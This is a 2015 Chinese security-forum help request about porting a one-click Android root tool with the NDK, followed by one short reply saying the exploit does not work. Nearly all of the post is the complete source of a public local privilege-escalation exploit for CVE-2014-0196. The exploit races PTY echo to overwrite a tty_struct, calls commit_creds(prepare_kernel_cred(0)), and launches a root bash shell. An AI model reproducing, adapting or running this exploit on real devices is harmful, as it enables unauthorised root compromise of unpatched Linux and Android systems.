首页
社区
课程
招聘
[求助]NDK-r9制作一键ROOT,利用exploit 20140196,openpty函数无法找到,附源码
发表于: 2015-1-21 23:16 9121

[求助]NDK-r9制作一键ROOT,利用exploit 20140196,openpty函数无法找到,附源码

2015-1-21 23:16
9121
有制作过的朋友说说如何获得openty函数:

/*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
* condition
*
* Slightly-less-than-POC privilege escalation exploit
* For kernels >= v3.14-rc1
*
* Matthew Daley <mattd@bugfuzz.com>
*
* Usage:
*   $ gcc cve-2014-0196-md.c -lutil -lpthread
*   $ ./a.out
*   [+] Resolving symbols
*   [+] Resolved commit_creds: 0xffffffff81056694
*   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
*   [+] Doing once-off allocations
*   [+] Attempting to overflow into a tty_struct...............
*   [+] Got it :)
*   # id
*   uid=0(root) gid=0(root) groups=0(root)
*
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
* chance that the overflow will go off the end of a slab. This does not
* necessarily lead to an immediate kernel crash, but you should be prepared
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
* avoidable by reading /proc/slabinfo on systems where it is still available
* to unprivileged users.
*
* Caveat: The vulnerability should be exploitable all the way from
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
* exploit relies on.
*
* Thanks to Jon Oberheide for his help on exploitation technique.
*/

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
        int counter;
} atomic_t;

struct kref {
        atomic_t refcount;
};

struct tty_struct_header {
        int        magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
        commit_creds(prepare_kernel_cred(0));

        return 0;
}

unsigned long get_symbol(char *target_name) {
        FILE *f;
        unsigned long addr;
        char dummy;
        char name[256];
        int ret = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL)
                return 0;

        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
                if (ret == 0) {
                        fscanf(f, "%s\n", name);
                        continue;
                }

                if (!strcmp(name, target_name)) {
                        printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

                        fclose(f);
                        return addr;
                }
        }

        printf("[-] Couldn't resolve \"%s\"\n", name);

        fclose(f);
        return 0;
}

void *overwrite_thread_fn(void *p) {
        write(slave_fd, buf, 511);

        write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
        write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
        char scratch[1024] = {0};
        void *tty_operations[64];
        int i, temp_fd_1, temp_fd_2;

        for (i = 0; i < 64; ++i)
                tty_operations[i] = payload;

        overwrite.magic                 = TTY_MAGIC;
        overwrite.kref.refcount.counter = 0x1337;
        overwrite.dev                   = (struct device *)scratch;
        overwrite.driver                = (struct tty_driver *)scratch;
        overwrite.ops                   = (struct tty_operations *)tty_operations;

        puts("[+] Resolving symbols");

        commit_creds = (commit_creds_fn)get_symbol("commit_creds");
        prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
        if (!commit_creds || !prepare_kernel_cred)
                return 1;

        puts("[+] Doing once-off allocations");

        for (i = 0; i < ONEOFF_ALLOCS; ++i)
                if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
                        puts("[-] pty creation failed");
                        return 1;
                }

        printf("[+] Attempting to overflow into a tty_struct...");
        fflush(stdout);

        for (i = 0; ; ++i) {
                struct termios t;
                int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
                pthread_t overwrite_thread;

                if (!(i & 0xfff)) {
                        putchar('.');
                        fflush(stdout);
                }

                if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
                        puts("\n[-] pty creation failed");
                        return 1;
                }

                for (j = 0; j < RUN_ALLOCS; ++j)
                        if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                                puts("\n[-] pty creation failed");
                                return 1;
                        }

                close(fds[RUN_ALLOCS / 2]);
                close(fds2[RUN_ALLOCS / 2]);

                write(slave_fd, buf, 1);

                tcgetattr(master_fd, &t);
                t.c_oflag &= ~OPOST;
                t.c_lflag |= ECHO;
                tcsetattr(master_fd, TCSANOW, &t);

                if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
                        puts("\n[-] Overwrite thread creation failed");
                        return 1;
                }
                write(master_fd, "A", 1);
                pthread_join(overwrite_thread, NULL);

                for (j = 0; j < RUN_ALLOCS; ++j) {
                        if (j == RUN_ALLOCS / 2)
                                continue;

                        ioctl(fds[j], 0xdeadbeef);
                        ioctl(fds2[j], 0xdeadbeef);

                        close(fds[j]);
                        close(fds2[j]);
                }

                ioctl(master_fd, 0xdeadbeef);
                ioctl(slave_fd, 0xdeadbeef);

                close(master_fd);
                close(slave_fd);

                if (!setresuid(0, 0, 0)) {
                        setresgid(0, 0, 0);

                        puts("\n[+] Got it :)");
                        execl("/bin/bash", "/bin/bash", NULL);
                }
        }
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 89
活跃值: (2515)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
用不了这个exp
2015-1-22 10:59
0
游客
登录 | 注册 方可回帖
返回
//